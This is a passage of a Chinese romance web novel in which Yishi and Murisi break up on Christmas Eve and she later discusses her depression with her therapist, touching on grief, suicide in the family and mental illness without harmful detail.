一块冰块经过时间和一双双迥异的手的洗礼通常会变得不堪入目,最后被目击者下定论为覆水难收。那是一个普通的周六晚上,对伊实而言是极为普通的,他去山姆超市买伏特加,这很方便,比挪威方便多了,价格也经济实惠,他再也不用为了满足下个月的口欲而计算这个月要打多久的工,也不用在日历上提醒自己禁酒日不要跑空,这个国家除了不能碰枪之外,他没有哪个地方不满意。当时他正要付钱,接到了李的电话,说请他喝酒,赶巧了,于是他收回付款码,决定先蹭一杯免费的。而且,他很久没有单独和李一起喝酒了,怀念那家伙一杯玛格丽特喝两小时的战绩。 那晚李意外喝得很快,并且告诉他自己收了一位新人,风格和他很像,如果他没意见的话,未来大部分资源都将用来培养新人,也算如他所愿。 伊实很爽快地答应了,没有问一句后果。“如果你懒得再收拾我的烂摊子,好吧,我知道我或许造成了不少麻烦,弗利康还有那几个毛都没长齐的英国小子,他们都跟我说了不少你的良苦用心,我是说,如果你不想再操这份心,我可以解约。” 李面容一惊,酒都吓醒了,嘴里喃喃:“倒也没有那么严重。” 伊实举手又叫了一杯伏特加,“怎么样,和我喝酒比和那些人喝酒痛快多了吧?” 李撇撇嘴没回答,伊实便当他默认了,每次和品牌方喝酒都要他半条命不可,糟蹋酒也糟蹋人。 虽然那只是随口说的提议,但真要当真伊实也没意见。换上常衣,设计师的理念尽数化为普通的布料。他抓乱被发胶固定好的发型,至此名模的价值还不如一根香烟来得令人眼前一亮。 穆里斯深吸一口气,报出那个吓人的数字:“你知不知道违约金要三百万?” “三百万?!”原本没意见的人吓了一跳,瞪大双眼,“美元?” “有区别吗?人民币你也支付不起。你怎么回事,没有提前 了解过吗?“见他毫不知情的反应,穆里斯更加迷惑。 “三百万,真是狮子大开口!”伊实一边骂一边揽着穆里斯走出更衣室,“早知道我就在合同上多留个心眼了,十万我还能接受,三百万,怪不得……他妈的摆明了要我出卖身体。这事以后再说吧,下班了,去哪饱餐一顿呐?” 穆里斯在他后腰上用力掐了一把,“你竟然把这么重要的东西当玩笑开吗?住手,我非得问个明白。”她拉住那只总是滚烫有力的手掌,“你在事业上一向随心所欲,以前能混口饭吃就行,现在能呆在中国就行,我说的对吗?可不是所有人都像你一样有颗豁达的心,你告诉我,你到底是怎么想的?” “我怎么想?我想的是立马和你去哪里饱餐一顿。” “伊实梅尔!” “好了好了,你为何如此着急呢甜心?嘴唇都裂开了。” 他越是云淡风轻,穆里斯越心烦意乱,她用手肘泄愤似的怼开他的胸膛,一步一股怨气地往外走。 “你从来都不去掂量一件事到底值不值得就去做,这简直比贪污了二十年的法官还要可恶,他至少能把那些钱吐出来,而你呢,需要钱自己找上门来解救你。你根本没想过当模特,别装酷了,这份职业绝对不是你的第一选择,但所有职业对你来说都一样,都一文不值,就跟你呆在这里的理由一样,你固执地要兵往前走一步,非要走那一步,连自家皇后早就成了别人的盘中餐都不知道!” 伊实想追上她十分容易,步子迈得大一些即可,然而要想在这时牵起她的手可谓难于登天。“穆里斯,穆里斯!”他企图通过呼名换姓的方式让她冷静下来。 自动扶梯并没有让穆里斯停下脚步,在这样的心情下,哪怕前面是悬崖她也会找到一条石子路头也不回地往下走。 “我不信你当初签合同的时候思考的时间有超过3秒,可能1秒都没有!既然不喜欢,为什么还要做?你别告诉我是为了我,否则我肯定会扇你!” “不然还有另一种可能吗?我当然——” 他的声音在一拳重击中戛然而止。穆里斯打在他的胸口正中心,对沙包来说这一拳无足轻重,反叫出拳者眼眶发酸。 “我要跟你绝交。”她瘪着嘴巴,努力不演变成哭哭啼啼的惨样。 eon……”伊实拥她入怀,最干净的衣襟给她抹眼泪,一下一下地安抚道:“穆里斯,你不必考虑这些,我知道你在为我着想,但是真的,你不必考虑这些。我敢做敢当,我自己做的决定我有能力承担一切。” “我才不是为你着想,混账。”穆里斯埋在一堵温热里,像一团刚加水未搅开的面粉。 伊实阵阵发笑,“知道了,我又成混账了。” 后来,穆里斯让混账从实招来,除了一拍脑门把自己卖给模特公司五年以外,还干了什么啼笑皆非的好事。伊实暗自发过誓,天知地知你知我知,不能让第三个人知道他曾被一大胡子酒吧老板蒙骗,白给人家打了三个月工,险些被查出签证类型不符合,被遣送出境不说,若是留下非法工作纪录,他往后就算挖二十年的地道也进不来。 如今誓言败给了来自深渊的凝视,穆里斯掐他的脖子,不奏效,便踩着他的命根子,高调威胁道,碾上去的可以是历史的滚轮也可以是她的脚。伊实又恼又好笑,便擅自作主让天忘了地忘了,把名额让给一个黄毛丫头。 值得补充的是,大胡子酒吧老板的下场也不漂亮,伊实忍的了吃亏忍不了上当,把人拖进小巷子里揍了一顿,后知后觉万一引来中国警方他还是吃不了兜着走,没办法只好跟着大胡子,找机会谈判,没想到跟了两天大胡子主动过来道歉,还送了五瓶葡萄酒给他。 “他怕你杀人灭口。”穆里斯说。 伊实想起来就气,冷哼道:“真想割了他的舌头。” “还有别的吗?”穆里斯问。 “长官,我又不是马戏团的小丑,哪有那么多活?” “哦。” 穆里斯知晓从这个人的嘴里翘不出更多的内容,因为追根溯源他的脑子本身就没有更多的东西,方才的事例没准也只是为了和她交差而随便挑的,他什么都不在乎,有仇当场报,什么都不在乎,和她完全是两类。她靠咀嚼那些虚无缥缈的记忆获取养分。 “圣诞节,你真的不回去?”穆里斯问。 “放心好了,布鲁克有人陪,他只是希望我带点腊肠回去。” “他真心把你当家人。” “我知道。” “你不能这么自私。” “我知道。” “……除了腊肠,你指定还想带点别的回去。” “终于有点开窍了。” “你回去吧,我累了。” 穆里斯说出这句话的时候脸上没有特别的表情,令伊实误以为“回去”指的是“明天见”。他留下一个吻后就走了,穆里斯觉得身上处处是勒痕,有麻绳状的,有皮鞭状的,还有钢圈状的。 事实表明,她高估了自己对道德的忍耐力,她以为自己可以从从容容地等待厌烦的到来,或者找到一枚大小适中的炸弹然后引爆它,然而那些全都排在沉重的吻之后,她还没等来就先被压的喘不过气了。伊实是她无法掌控无法设想的人,更别提依赖于他了,有一天她会由于决定不了枕头的形状而被枕头杀死。 自作孽不可活的是,她竟然正在因为被某人当成了全世界而感到悲伤。 她没有想过当全世界啊,不会就是不会啊,办不到就是办不到啊,她从未否认过啊,扭曲的价值观更是靠边,她洁身自好得很啊……错了,大错特错了,从他手中借走一条命开始就错了,后来妄想成为一个健全的人回到他身边而埋头苦干也是错的。 她总是吃坏东西,导致一肚子溃烂。 第60章 第60章二更合一,超虐预警!…… 橡果和圣诞节的铃声双双从树上叮叮当当地掉下来,刚打扫过的咖色花纹地毯一尘不染,瓦萨里奇家族人丁兴旺,马上就有数不清的脚印拾柴火焰高了。布鲁克觉得滚烫,结束宴会后先行告退。他的腿在两年前突然间变得不好使,有时走路不得不依靠一根拐杖,有时精神焕发也能自己开车,就像资历深厚的老旧零件,丢掉可惜,敲敲又打打再上岗五年。由于喝了点酒,他的走姿更加飘逸,难说不是假借醉酒的名义掩盖老腿破败的事实。 这是老光棍的经典剧本,他再有钱也告不到好莱坞去,只能咬紧松动的牙齿抛开所有脸面地思念自己两个死去的儿子,和远在东方的眼里只有女人的伊实。 理说他没有嘲笑的资格,他比任何年轻人都知道痛失所爱的滋味,黄昏下的水面要凉了,天地的威风就是这么大,他幸福了半世结局却是除了几袋破钱什么也没剩下。 至少伊实的爱人还活着,穆里斯,对吗?哈哈,这甚至不是那女孩应有的姓名。布鲁克抬起膝盖然后重重地跺脚,一股麻麻的力量从脚底蔓延上来,他继续往家的方向走。 至少穆里斯还活着,伊实还有机会上演不顾一切的追逐戏,他从青少年时期起就是个混不吝的角色,没人敢在他的头上动刀取出切片一探究竟,没人。这或许跟他常年与死神打争夺战有关,除了呼吸和拥抱他不惧怕错过。然而布鲁克永远记得那个趴在米勒太太的床边皱着眉头哭泣的十九岁小孩,灰白色的短发,泛红的鼻尖和眼周,烟雨缭绕的深蓝色瞳仁,过度发育的骨骼关节和 尚未跟上节奏的肌肉,那么大的体格窝在小小的椅子上,那么年轻的脸庞却走投无路,小孩眼里容不下别人,小孩寸步不离地等待昏迷的母亲睁开双眼。 那时他刚为两个儿子办完葬礼。布鲁克内心是希望伊实成功的,活着的人能有什么苦衷呢?死不瞑目怎么说也得先让他这个老头来。另一方面,他同样预料着希望的落空,否则他所经历的一切又该如何解释呢?遗憾乃家常便饭,人总要吃饭,他如此说道。 伊实寻找穆里斯的第一个年头,他跟着一起去了,聘请了一位当地导游,在北京这座城市旅居了一个月,最后当然是一无所获。中国是个热闹的国家,人来人往,你很难在一张张相似的面孔中找到目标。可伊实眼里容不下别人,一如既往。 “这是执念,不是遗憾,遗憾是已成的结果衍生出来的思绪,我可以回收思绪,放进recyclebin里,再者当它是生命的调味品,伤口上撒盐我也认了。而执念是病态的,你没有非做不可的必要,没有饿狼在后面追屁股,你自己也拿不出可信的理由,你却不依不饶,说什么也要去做,这是绝对病态不可置否的。 “讲爱?小子,讲爱的话如今的局面那可正常得不能再正常了,世界上百分之九十五的爱都不欢而散,还有百分之五归于生离死别,没有特殊情况。” 布鲁克语重心长,老槐树的叶子都落了几片,也没有拉回那头犟驴。 “我很少做梦。”伊实说,难得话里不掺愤世嫉俗的比拟,“她离开以后,我几乎每天都在做梦。梦到她哭,抓着我的大拇指和食指哭,说她不要变成这样。梦到她窝在沙发里半天不动,手脚冰凉。梦到她跳到我背上,和我耳朵贴着耳朵。梦到她因为我的抚摸露出满足的微笑,仿佛离死亡很远很远。我确信她在等着我,这不是理由吗?她喊我来,我就来了,即使是在梦里,即使是骗我的。” 癔症。无可救药。布鲁克将其判定为遗传中的一种变异,穆里斯也未必是一方对口的药。他在想,如果当初米勒太太没有那么澎湃地一次次自杀——这很无礼,但遗憾是家常便饭——他的意思是,她在第一次自杀就一了百了,或许伊实也不会那么澎湃地一次次渴望某个身影。 这个想法一出来布鲁克立马沁出一身的冷汗,他太了解伊实了,以至于能想象到他嗤之以鼻的口吻——他不曾认为自己是悲惨的。 …… 洋节在美化促销活动上是一把好手,穆里斯接连被哄骗了三百块买一堆够用一年的生活用品,以及两万块买一枚打火机,销售员的嘴皮子比毒药还可怕。 更可怕的是她想要断绝的决心:跟时间比起来,看得见摸得着的金钱永远是廉价而不够格的。 一个人能同时自私和脆弱到什么程度,竟需要通过贿赂的方式求饶。 礼物仅仅是作为开胃前菜罢了,真正难以割舍的是后面的谈判。穆里斯自诩条理清晰,毕竟她有着五年的调教经验,只不过对象是她本人而已,那也没差,凡事讲究一个稳妥,她既然能说服自己一步步挺到现在,每回崩溃都能悬崖勒马,那么也能说服伊实,他们可以做朋友,做酒友,再暧昧些的,做天涯若比邻的红颜知己,这不是很好吗?呕心沥血一个字不沾,干干净净,清清爽爽,更不用殚精竭虑地往这跑往那跑,在芝麻和西瓜之间反复摇摆。 她和伊实约在一家俄式餐厅见面,因为是平安夜,餐厅门口站着一颗小圣诞树,绿得很不真实,上手一摸,果然是假的。故而对菜品也不必抱有太大的期望,没见过荔枝的长安老百姓尝尝龙眼什么滋味得了。 “怎么样?味道正宗吗?”穆里斯问,指了指表面撒有欧芹碎的煎虾。 伊实在咀嚼中仍未下咽便发表感言:“不,最好不正宗,离正宗远点,越远越好。”他赞成所有食物都经过东方厨师之手,他已经上瘾了。 “桌上没有一个菜让你感觉有家乡的味道吗?一个都没有?”穆里斯暗戳戳地抠桌布。 伊实用眼睛扫了一圈,说:“这红茶很像我小时候喝的。” 小时候,还没呼吸过加利福尼亚空气的小时候,母亲和祖母经常在家里煮茶,放很多糖,他冬泳后回到家,手上总要多出一杯这样的茶。 “原来是这样。”穆里斯顺手替他满上,“我有礼物要送你。” 她从兜里拿出一个盒子,推到伊实面前。 伊实愣了一瞬,赶忙下咽,喉结用力地滚动,随后清了清嗓,习惯性用指腹抹掉嘴唇上的油脂,然而手又脏了,这才想起来桌上有湿巾。 “天呐,有人要求婚。”他一边擦拭指头一边开了个雀跃的玩笑。 “圣诞老人的谣言你也敢造?打开看看吧。”穆里斯紧张的神经松弛下来,如果能在心平气和中了结此事那就再好不过了。 伊实拆开礼盒,打火机光滑锃亮的金属外壳反射出一道光,他惊喜地挑眉,放在掌中把玩,大拇指轻轻一挑,机盖弹开发出清脆的“叮——”一声,犹如教堂钟声的余韵,穿透穹顶。穆里斯被振奋到了,她起初只是图这一款长得精美,不晓得声音也那么好听,两万块有两万块的道理。 这份礼物让伊实爱不释手,他赞扬了好一会儿才放回盒子里,目光若有所思地停留在上面,说:“那么,这是我收过最棒的礼物,毋庸置疑。不过很明显我被你摆了一道,你曾说你对圣诞节不感冒,所以……” “我知道。”穆里斯打断他,释然地撇了撇嘴,“但我没撒谎啊,我的确对圣诞节不抱兴趣,你不用准备什么。况且,你给的够多了。” 多到她不得不当心衣服的线头是否被勾出八百米而她本人一无所知,不得不重视起漏水的甲板,之类的,总之多到她应接不暇,德不配位。 伊实注视着穆里斯,当她有所预谋的时候,音画通常不同步,做表情时不说话,说话时做不了表情。这几日她对亲吻的躲避,牵手时的出神,安静得像剧场结束后落下的幕布,焦虑往她身上爬得速度和猫身上的虱子一样迅速。 “为什么是打火机?”他问。必须快点找出虱子的源头,他心里想。 穆里斯努了努鼻子,没有看他,语气散漫:“因为你吸烟啊。” 她没意识到她表现得松散过了头,其实跟她原本打算的“心平气和”已经是两回事了。 “某人告诉我吸烟是陋习来着。”伊实拿起刀叉,将蜂蜜牛排切成小块。 “客观事实是客观事实,但我从头到尾都没有反对啊。”穆里斯小口喝茶,继续多话:“那是你的习性,你的纾解方式,我干嘛要插手呢?” 伊实终于嗅出不对劲的地方,她似乎想插上置身事外的翅膀飞走,礼物是她的调虎离山之计。 他对调餐盘,牛排被换到穆里斯面前。他说:“你有插手的权力,你埋在我胸口呼吸的时候我以为你喜欢它的味道。” “……”穆里斯些许无语,“我喜欢的是氧气,你懂不懂?” “懂,我也喜欢那儿的氧气。”伊实看见她不服气而嗫嚅嘴角,像在吐泡泡。“我想,你的惊喜可能还带点别的把戏吧?是什么,现在不说吗?” 没想到这么容易被看穿,穆里斯的心脏再次快速跳动起来,脱口而出:“没什么把戏,送你就送了。”吃两口牛排压压惊。 “哦,是好消息还是坏消息?”伊实问。 “好消息。”穆里斯即答,反应过来后恼羞成怒地皱起眉头,“你会为此付出代价。” 伊实笑笑,就怕她不报这个仇。 肚子逐渐被填满,穆里斯再吃就要撑了,比起待会儿从嘴里吐出呕吐物,还是趁现在赶快坦白更美观。 “伊实,我觉得……”她又开始抠桌布,棉麻质地,上面有轻微纹理,她说道:“我们就到这里吧。” “什么意思?”伊实放下餐具,他看向她犹豫不决的手, 随后看向她,“又要甩了我?Again?” 穆里斯深吸一口气,重重呼出,说:“我在这时候说狠话你肯定不会信,所以我很冷静,并且,我现在为你之前的问题给出一个理智的回答。” “没觉得你是冷静的。” “要发怒的话也请听我说完。” “说。” “选择的作用从来都不在选项本身……做选择的过程早就能够看清楚事情的本质了。你如此执着于我的感情,那么还是一样的,放在五年前,毫无自理能力的穆里斯是爱你的,她完美地融入进你的生活,你只需要喂她几口饭吃,保证她活着就足够了。现在呢,我在我自己的国家,有工作,有社保,有朋友,你想怎么喂养我呢?于是你离开了熟悉的货币,离开了老朋友,以及组成你整个前半生的生活轨迹。对此我可以有怎样的感情?我说不出我不爱你这种狠心话,你在我眼里始终充满魅力,没有那几口饭,我也愿意跟你上床。但或许,我也没有想象中的那么爱你,爱到捆绑你一辈子。” “所以你的爱,止步于把我叫到这里来,送我个操蛋般光鲜亮丽的礼物,然后大言不惭地揭开你我之间的差距?我他妈是不是该学点中文了?”伊实说。 “没必要。”穆里斯说。 “这算哪门子好消息?” “当然算。” 伊实烦得说不出话,一个劲地往嘴里塞面包。 “你一直在忍耐,是个人都能看出来,我只是在你爆发之前及时止损而已。”穆里斯说。 “你知道我在忍耐什么吗?” “猜到个大概。你在忍耐,我也在忍耐,我应该是犯了个大错才会这样。” “你知道个屁。”伊实猛地喝茶,他不愿在本应高兴的时候展露暴躁的性情,但不得不说,穆里斯真的轻而易举惹得他神经紧绷。“非要管以前吗?就现在,我向你告白,我爱你,你能不能跟我交往?” 穆里斯一怔,回答:“不。” “对我没感觉了?” “不……” 伊实摊开双手,无声地看着她,不言而喻:那还有什么问题?有钱不赚王八蛋。 “你想得太单纯了。”穆里斯说。她忽然没了底气,伊实属于套上鞋就走的那类人,根本不管鞋里有没有沙子。 “还有什么顾虑,一起说了吧,不斩草除根我浑身难受。”伊实把手插进口袋里,往后一靠。 穆里斯垂眸,努力找回辩词,“我的内疚超越了我对你的喜欢,很讽刺很下贱我明白,但这东西永远无法从我的身体里剥离开来,总有一天你会受不了。” “你是指你的疑神疑鬼。” “也可以那样说。” 伊实肩膀下沉,反而放下了烦虑,“我给你的安全感不够。” “不,不是的。”穆里斯急于辩驳,却在喉咙里卡了壳。 伊实站起身,拿起外套和围巾,走到对面牵起她的手,“结账。” “去哪儿?”穆里斯不明所以。 “你想太多了,穆里斯,你需要透透气。” “没有……”穆里斯有口难辩,频频摇头,踉踉跄跄地被一双炽热的手牵引着走,一股难过涌上心头。 她明明都做好打算了,也明确剖开劣迹斑斑的事实给他看了,为什么还是不奏效?她的深思熟虑难道只是在做无用功?除此之外,他忽视她的诉求,是因为将她当成了一个病人,一个胡言乱语的疯子,而她确信她的脑子是清醒的,言辞打过草稿,伦理百无一失,即使是这样,他仍当她在犯糊涂。这是她今晚最大的悲哀。 “伊实!”她用力回扯,压抑着声音说:“我是认真的,你不能——” 滚烫的玻璃茶壶从服务生手中脱落,他的注意力只够他被一只突如其来的手肘撞到后稳住自己的身形,无法阻止烫茶奔向自由,往那对情侣身上倒去。 穆里斯倒吸一口凉气,脑袋一空,眼前的景象定格在伊实用手掌捂住壶口将其推开,手心手背瞬间变得通红,玻璃茶壶掉落在地上四分五裂,她的心悬到了嗓子眼。 服务生不停道歉,穆里斯却一点儿声音都发不出来,她慌不择路地寻找湿巾。服务生仍在道歉,称过道狭小,是他的疏忽,穆里斯仍一声不响,抖微微地擦拭那只通红的手。服务生还在道歉,说什么不重要了,穆里斯羞愧难当,最该道歉的人是她。 “Enough.”伊实回握住穆里斯颤抖的手,对服务生说:“It‘sok.” 他带她走出餐厅,室外的冷气和刺痛的伤口对冲,原来烫伤更能感受出寒气的刺骨。 “去洗手间,处理一下你的手。”穆里斯说,到处张望。幸运的是,三十米外就有公共厕所,是啊,国家就该大力投资这种救命稻草般的城市设施啊。得快点处理。 “It‘sok.”伊实重复道,随意甩了甩受伤的手,“这根本不算什么。” “你在胡扯什么?!都红成这样了。” “亲爱的,我还徒手烤过鱼呢。” “能一样吗?”穆里斯不容他拒绝,硬把他拉到水龙头下接受冷水浇灌。 她拖拖拉拉地狠不下心,上天便降下了惩罚。泼到白种人身上比泼到她这个黄种人身上更具警示作用不是吗?真有艺术细胞,精通暴力美学,红色在白皮肤上格外突出,正如烈日从彩色窗棂照射下来,映出巨大的十字架的黑色影子,真有品味,她必须立马洗心革面,否则就要被惩以鞭刑。 “你看,这就是下场。”穆里斯翻来覆去冲洗他的手,鼻腔酸涩,“我厌恶它发生,对你我都不友好。” “你心疼我,你爱我。”伊实说。 “我都有点恨你了。”穆里斯紧咬后槽牙,仿佛这样能控制泪水往回流。 “是觉得爱太沉重了?” “这是一种象征,看出来了吗?你会在争吵中变得遍体鳞伤,而争吵不可避免,甚至我们此时此刻就停不下来。” “我说了,这没什么大不了的。” 穆里斯拍停水龙头,转头盯着他,“我以为我才是那个执迷不悟的人,其实你才是。你有仔细倾听我的提议吗?你有吗?哪怕考虑其中哪怕一点点的可能性?你一棍子打死,觉得我在犯病?你看看你现在变成什么样子了伊实,你满意你自己的现状吗?异国他乡,做事变得束手束脚,盲目追求一个随时都有可能倒台的目标。你被残害得不成样子了知道吗?你的朋友在哪里,你的猎物,你的雪山,清净的院子,还有布鲁克,你不管了?” “我找了你五年,我早就放下那些东西了。”伊实说。 这句话让穆里斯更加抓狂,“你放下了!你个傻瓜!压根不懂得明事理!” “我只要你爱我。”伊实说。 “我的爱有什么用?!我的爱让你不明不白地被陌生环境纠缠,被陌生人欺骗,让你去做你不愿意做的事,让你见不了亲人,还让你吃个饭都能被烫伤!全是爱的错了!”穆里斯的食指凄楚而愤懑,一下又一下戳进伊实的心窝子里。她激动地大喘气,抱头拴住土崩瓦解的冷静,她抹脸,再次举起食指,没给伊实开口的机会。“本来我想好好跟你处理我们的关系,看来行不通,你也是个聋子,也是个瞎子,没比我正常到哪里去。” 伊实的神情早已冰冷到悬崖谷底,他抓住那根作乱的食指,隐忍地靠近,用庞大的身躯堵住她所有可能的退路,“好好处理?你的理由没有一个不蹩脚,离开算个 屁的好好处理。替我打抱不平吗?我没把那些事算在你头上。我请问你,你到底在畏惧什么?” 穆里斯的眼角成了汪洋大海,她一动不动地看进他的蓝眼睛里,“就算你有一天因为我一无所有,你也不会算在我头上,是吗?” “是的。” 她闭上眼睛,豆大的泪珠从脸颊滑落,再睁开眼睛时,她已经没有勇气抬头了。 “伊实,我真的不是你的对手……我什么都告诉你好了。我有一个阴谋,答应和你约会的那天起,我就在等待你的厌倦,厌倦和我呆在一起,厌倦我的性格。可是我后来发现,你索取的似乎不仅是表面那些东西,你竟然在讨好我,无下限地纵容我。要说你有什么地方做的不对吗?不,我挑不出一点毛病,但我必须挑出毛病,不能让你误入歧途,以至于像现在这样连为了我可以什么都不要这种不负责任的话都能说出口。然后我怎么做的呢?你不会乐意知道的。但凡你强。奸我一次呢,在我的挑逗下掐住我的脖子一次,我就有理由离开你了。哈,我说了你不会乐意知道的。你能接受吗?我每时每刻都对你怀有恶意的揣测。你受的了这种屈辱吗?傻瓜,你什么时候才能放弃?” 穆里斯扯出难堪的笑,她在自嘲,但看到那张从未流露过极度悲伤的脸上,不知何时也掉下一行细长透明的眼泪时,她的心脏传来受重器所伤般钝痛。 不是的,不是那样的,不要哭,你怎么能哭呢,耽于感伤是我的宿命,是我的诅咒,你怎么会哭呢,好像枯萎了一样,好像淹没头顶的海水一样,不是那样的,伊实,你为什么哭了,不要—— “Maybe,now.” 他的声音喑哑,他转身消失在车灯闪烁之间,走远了。 60-68 第61章 第61章如果她是一棵植物,她会…… 逃犯和自杀者的结局有何不同呢?新闻并未强调其中的区别,却毅然决然地将它们放在一起报道。穆里斯看不懂,她不再相信新闻,最先从一碗米线开始。 她快有一周没有做饭了,无聊的灶台快忘了煤气什么味道,几乎进入冬眠时代。这并非她有意为之,她去过菜市场,但那地方令她走投无路。糟了,菜市场走投无路。 于是她成了外卖常客,料想坐享其成说不定能挽回她的情绪,把多出来的时间花在阅读和观影上。然而走投无路的地方不止有菜市场,书籍和电影也一样四面拥堵。 糟了,她哪里也去不了,哪里都走投无路。 “我该去看我的心理医生了。” 穆里斯对穆里斯说。 在工作室一年一度的跨年团建之夜,穆里斯收到了伙伴们的短信祝福,一个接着一个,震动的手机仿佛心脏起搏器,可惜鬼门关前的可怜虫持续耳鸣。 前几天,她向阿吉传讯:「我的状态不太好,跨年那天我不去了,你们玩得开心。」 「怎么啦?激素搞的鬼?你姨妈来啦?」阿吉回复,字里行间十分关切,并一以贯之地包裹着乐观的壳子。 她不想说,也说不出来。 「好吧,那我们到时候拍照给你看呀!」阿吉说。 她的胸口空了一块,没有了站起来的理由,她设想过此情此景,却不料高估自己了对心碎的掌控力。这如剐肉削骨搬的疼啊,她低头一看,四肢健全。 跨年夜的凌晨穆里斯还是见到了阿吉,她抱着谦宝和一袋烧烤进门,说要在这住一晚。那便住下吧,别指望一条咸鱼翻身就是了。穆里斯拖着重重的的眼袋倒在床上,问阿吉今年回家过年吗。阿吉顿了顿,说回的。 去年阿吉没有回北方老家,因为谦宝被前夫带走在前婆家吃年夜饭,她放心不下。其实没有什么放心不下,只是她觉得有谦宝在的地方才是家。 “人总要有一个牵挂才好。”阿吉说。谦宝在两个女人的怀里安然入睡。 “你猜到了。”穆里斯说。有时候,她能沾上谦宝的光,得到几分钟温柔的拍背,这感觉怎么形容呢,唱一段吧,有妈的孩子像块宝。“那你当我的牵挂好不好?”她顺势而为。 阿吉停止散播母爱,定睛看她:“这话很耳熟,难道你想重蹈覆辙?” 穆里斯不含笑意地提起唇角,翻身说道:“幸好你不是同性恋。” “我是你也不能这样啊,咋跟孩子说?” “说我喜欢你。” “行了,长得好看就随便乱说话。” “我好看吗?” “比我好看,我生过一个娃,流过一个娃,脸都不成样子了。” “你好看,阿吉,你最好看。” “睡吧小老板,求求你快睡觉。” 穆里斯睡不着,一闭眼就是梦魇。她没吃药,躺一天躺忘了,准备入睡了才想起来。于是她起身去倒水,觉得跟阿吉报告一下较好,便说:“阿吉,我4号去看心理医生。” “哦好的,要我陪你去吗?” “不用。” 结果吃了药穆里斯仍旧做了噩梦,梦见伊实那天失望的表情,什么都没说又好像什么都说了。她梦见在一个阴云天被猛兽追逐,耳边听不见低吼,全是她自己的心跳声和上气不接下气的哮喘。她要跑到哪里去?前方既没有太阳,也没有汪洋大海,她要跑到哪里去?她已经很累了。这里荒无人烟,她的鞋什么时候不见的,脚底心越来越痛,被碎石划破,似乎流血了,她感到全身上下的水分都在一点点流失。 第二天一早,穆里斯爬起来第一件事就是喝水,喝得湍急,领口湿了一片。这天她在阿吉的监督下拿着相机外出拍照,晚上回到家换鞋时意识到她好像连镜头盖都没打开过,不好交差,便又穿鞋到公寓楼下找附近的猫模特。逛着逛着她又忘了要干嘛,坐在长椅上发呆。 如果她是一棵植物,她会很骄傲的。 可惜她是个人。 再一天,穆里斯去工作室报道,和伙伴们打招呼,本以为遇见可靠的面孔她哪怕是装装样子,她也能装出个人样,但她竟然害怕了,具体害怕什么她不清楚,只是那一刻她畏光到了极致,一味的抽离,视觉味觉触觉统统抽离。 后来的两天她没再去工作室了,老老实实地呆在家里,几点该吃药、每天下楼坐几小时这些她记了笔记,贴在冰箱门上。不过无一例外都失败了,她看见从特罗姆瑟小商店买回来的维京人冰箱贴,突然发觉她似乎失去了很多真实的记忆,而虚假的部分鸠占鹊巢令她的房间变得格外拥挤。 终于到了与连医生见面的日子,穆里斯洗脸束发,涂了一层润唇膏,让自己看上去足够应付老师给的家庭作业。苟且偷生的人不会有大作为,她有自知之明,所以从小就没把优秀范文当回事。 一年里她和连医生见面的次数屈指可数,更多时候是她闲的慌了,躁期太躁,大话说个不停,才来这里泻火,平时不打扰人家的。 “好久不见。”穆里斯说,乖巧地坐上为来访者准备的墨绿色单人沙发。 “看样子这段时间,你过得不好。”连医生坐在另一座橙橘色沙发上,眼神静静描摹她的病人,最后停留在穆里斯青晕密布的眼底。 “嗯,不好。”穆里斯承认,“好就不会来你这了。” “另一种不好。” “是的。” 连医生心中的担忧隐隐涨潮,她宁愿穆里斯躁点,像无名山的山大王一样呼风唤雨,大放厥词称自己找到了控制地球旋转的遥控器,从王阳明那拜师学艺,只要她想,地球是可以围着她转的。宁愿那样。 另一种不好,就难办了,那些漆黑浓稠的消极念头大多是从另一种不好中滋生出来,最后交给山大王去执行。 “是什么让你感到不好?”连医生问。 穆里斯确定了一块不重要的位置用于放置同样不重要的视觉,然后缓缓开口:“你还记得我之前说,我有个理想的爱人吗?” “记得,母亲是俄罗斯人父亲是美国人还有个挪威人朋友,以及被一个中国人爱上的地球村村民。” “我说的。” “嗯,你的事我都记着呢。” “他来找我了。” 连医生一愣,欲从她的神态里找出或咸或甜的变化,然而那里一潭死水。 “是梦吗?”她问。 穆里斯沉默片刻,回答:“不是。” 她三言两语讲完了他们的故事,比以往任何一次的分享都要简短,因为她不愿屈服,屈服于她的计谋有误。 “沉没成本不参与重大决策,不是吗?他走的时候我该松一口气,但我没有,心很痛,我知道这是正常的,我时常心痛。其实等他回到我的幻想里,就什么事也没有了。我不认为我的方法错了,只是好像,需要的时间更久罢了……久得有点碍事,我不得不坐下来和你谈谈。” 连医生说:“我的认可或者不认可,对你来说有帮助吗?” 穆里斯说第一句话时就已经开始心悸,思考令她感到茫然,“不清楚。” “听上去,他的确有分离焦虑障碍的倾向,你为他着想不无道理,这是我的认可,我在这两小时里会无条件地站在你这边,你不必担心我会责怪你,你做的很好了。”连医生说。 “我知道,”穆里斯的五脏六腑互换了地方,此时在胸口位置的正是她的肺,孱弱地起伏着,“我已经做得很好了,我不伤人,不害理,凭借学识和人伦做出了最正确的决定,他会有更自由的生活,而我也会有更自由的灵魂,即便那是孤独的,但我已经可以很好的控制它了。” “控制——你有好好吃药吗?” “嗯,每天都吃,剂量正常。并且当我意识到我的状态不对时,立马来找你了,我没有把自己封闭起来,也没有想过放弃生命。”此时在胸口位置的正是她的胃,一帧一帧地痉挛着,“虽然有好几个瞬间,脑子里突然冒出舍弃一切的念头,比如我的工作,我的朋友,很多东西,但我知道这是不对的,它们并不是不重要了,只是当下的我觉得不重要了。” “你认为,你拉了自己一把。” “嗯,但我也没让自己飘得太高。”穆里斯十指交叉,轻微地颤抖,她明明是在邀功,却不由得恐惧皇冠太重能把她压成肉泥。 “说了好多‘但是’,你刚刚说了好多‘但是’。” 穆里斯沉默。 “我记得,你以前说,你为你爱他而感到自豪,现在你的爱全都流向了‘但是’。爱是属于你的,是你的一部分,你否定爱,就等于否定了你。为什么要去否定你自己呢?连我都舍不得否定你。”连医生开了个玩笑。 穆里斯嘟囔:“我心理素质没那么差。”这下,她至少不用担心皇冠砸到她了。 “抛开那些‘但是’,你还为爱他而感到自豪吗?” “嗯。”穆里斯不轻不重地点头。 “那么,你在追求情绪稳定的路上,感受到痛苦和无助,并不是你本人想看到的,而是你站在所谓学识所谓人伦的角度,以为你想看到的。你过于追求海平面的高度,低一分怕淹死,高一分怕渴死。其实低个十分你不会死的,高个十分你也不会死,哪怕二十分,三十分,一百分,你都会安然无恙。你想要情绪稳定,就丢弃沉浮的可能性,一动不动地那还是船吗,那不是棺材吗?” “但……”穆里斯哑声,学有所成地吞下了转折词,“歇斯底里更难看啊。” 